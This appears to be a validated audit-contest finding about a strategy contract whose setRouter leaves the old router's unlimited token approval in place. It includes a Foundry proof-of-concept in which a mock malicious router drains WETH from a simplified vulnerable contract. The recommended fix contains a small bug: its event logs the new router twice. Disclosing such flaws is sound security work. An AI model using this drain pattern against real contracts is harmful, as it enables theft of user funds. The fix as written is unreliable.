DeFiFoundrySolidity
16,653 OP
View results
Submission Details
Severity: low
Valid

Lack of approval reset before new approvals can lead to double-spend

Summary

In the setRouter function across multiple contract files, there is no approval reset before setting new approvals for the router. This creates a potential double-spend vulnerability where both the old and new router maintain their approval allowances.

Vulnerability Details

Found in files:

  1. StrategyOp.sol - Lines 40, 56-60

  2. StrategyArb.sol - Lines 40, 56-60

  3. StrategyMainnet.sol - Lines 40-45

Example from StrategyOp.sol:

// @audit - Initial approval without checks [Line 40]
function _initStrategy() internal {
router = 0xa062aE8A9c5e11aaA026fc2670B0D65cCc8B2858;
underlying.safeApprove(address(router), type(uint256).max);
}
// @audit - No approval reset before new approval [Lines 56-60]
function setRouter(address _router) external onlyManagement {
router = _router;
underlying.safeApprove(router, type(uint256).max);
}

Impact

  • Multiple routers maintain simultaneous infinite approvals

  • If a previous router is compromised, attacker can drain approved tokens

  • Double-spend attacks possible if coordinated between routers

  • Full loss of underlying tokens possible through previously approved routers

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
// Mock WETH token
contract MockWETH is ERC20 {
constructor() ERC20("Wrapped Ether", "WETH") {
_mint(msg.sender, 1000 ether);
}
}
// Mock alETH token
contract MockALETH is ERC20 {
constructor() ERC20("Alchemix ETH", "alETH") {
_mint(msg.sender, 1000 ether);
}
}
// Mock Transmuter
contract MockTransmuter {
ERC20 public underlyingToken;
ERC20 public syntheticToken;
constructor(address _underlying, address _synthetic) {
underlyingToken = ERC20(_underlying);
syntheticToken = ERC20(_synthetic);
}
function deposit(uint256 amount, address) external {}
function withdraw(uint256 amount, address) external {}
function claim(uint256 amount, address) external {}
function getUnexchangedBalance(address) external pure returns (uint256) { return 0; }
function getClaimableBalance(address) external pure returns (uint256) { return 0; }
}
// Mock Malicious Router
contract MaliciousRouter {
using SafeERC20 for ERC20;
function steal(address token, address victim, address receiver) external {
uint256 balance = ERC20(token).balanceOf(victim);
ERC20(token).safeTransferFrom(victim, receiver, balance);
}
}
// Vulnerable Strategy (simplified version focusing on the vulnerability)
contract VulnerableStrategy {
using SafeERC20 for ERC20;
ERC20 public underlying;
address public router;
constructor(address _underlying) {
underlying = ERC20(_underlying);
router = address(0);
}
function setRouter(address _router) external {
router = _router;
// @audit - No approval reset
underlying.safeApprove(router, type(uint256).max);
}
}
// The actual POC
contract RouterApprovalTest is Test {
MockWETH weth;
MockALETH aleth;
MockTransmuter transmuter;
VulnerableStrategy strategy;
MaliciousRouter oldRouter;
MaliciousRouter newRouter;
address attacker = address(0xBad);
function setUp() public {
// Deploy mock tokens
weth = new MockWETH();
aleth = new MockALETH();
// Deploy mock transmuter
transmuter = new MockTransmuter(address(weth), address(aleth));
// Deploy strategy
strategy = new VulnerableStrategy(address(weth));
// Deploy routers
oldRouter = new MaliciousRouter();
newRouter = new MaliciousRouter();
// Setup initial state
weth.transfer(address(strategy), 100 ether);
// Label addresses for better trace output
vm.label(address(oldRouter), "Old Router");
vm.label(address(newRouter), "New Router");
vm.label(address(strategy), "Strategy");
vm.label(attacker, "Attacker");
}
function testDoubleSpendExploit() public {
// Initial balance check
assertEq(weth.balanceOf(address(strategy)), 100 ether, "Strategy should start with 100 WETH");
// 1. Strategy first approves old router
strategy.setRouter(address(oldRouter));
assertEq(weth.allowance(address(strategy), address(oldRouter)), type(uint256).max);
// 2. Strategy switches to new router
strategy.setRouter(address(newRouter));
assertEq(weth.allowance(address(strategy), address(newRouter)), type(uint256).max);
// Key check: Old router STILL has approval
assertEq(weth.allowance(address(strategy), address(oldRouter)), type(uint256).max,
"Old router should still have approval");
// 3. Demonstrate exploit: Both routers can drain funds
vm.prank(attacker);
oldRouter.steal(address(weth), address(strategy), attacker);
// Check first theft succeeded
assertEq(weth.balanceOf(attacker), 100 ether, "Attacker should get 100 WETH from old router");
// Reset state to demonstrate both routers have approval
// In reality, this could be done in parallel or the approvals could be abused in other ways
weth.transfer(address(strategy), 100 ether);
vm.prank(attacker);
newRouter.steal(address(weth), address(strategy), attacker);
// Check second theft succeeded
assertEq(weth.balanceOf(attacker), 200 ether, "Attacker should get another 100 WETH from new router");
}
}
  1. Run with forge:

forge test -vv --match-test testDoubleSpendExploit

The test demonstrates that:

  1. After changing routers, both old and new routers maintain max approval

  2. An attacker can use either router to drain funds

  3. If tokens are replenished, they can be drained again by the other router

  4. Both routers maintain simultaneous max approvals, which is dangerous

The POC files include all necessary mocks and setup to reproduce the issue.

Recommendations

  1. Implement proper approval reset pattern:

function setRouter(address _router) external onlyManagement {
require(_router != address(0), "Zero address router");
// First reset old approval
if(router != address(0)) {
underlying.safeApprove(router, 0);
}
// Set new router and approve
router = _router;
underlying.safeApprove(router, type(uint256).max);
emit RouterUpdated(router, _router);
}
Updates

Appeal created

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Old router approval is not revoked after an update

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Old router approval is not revoked after an update

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.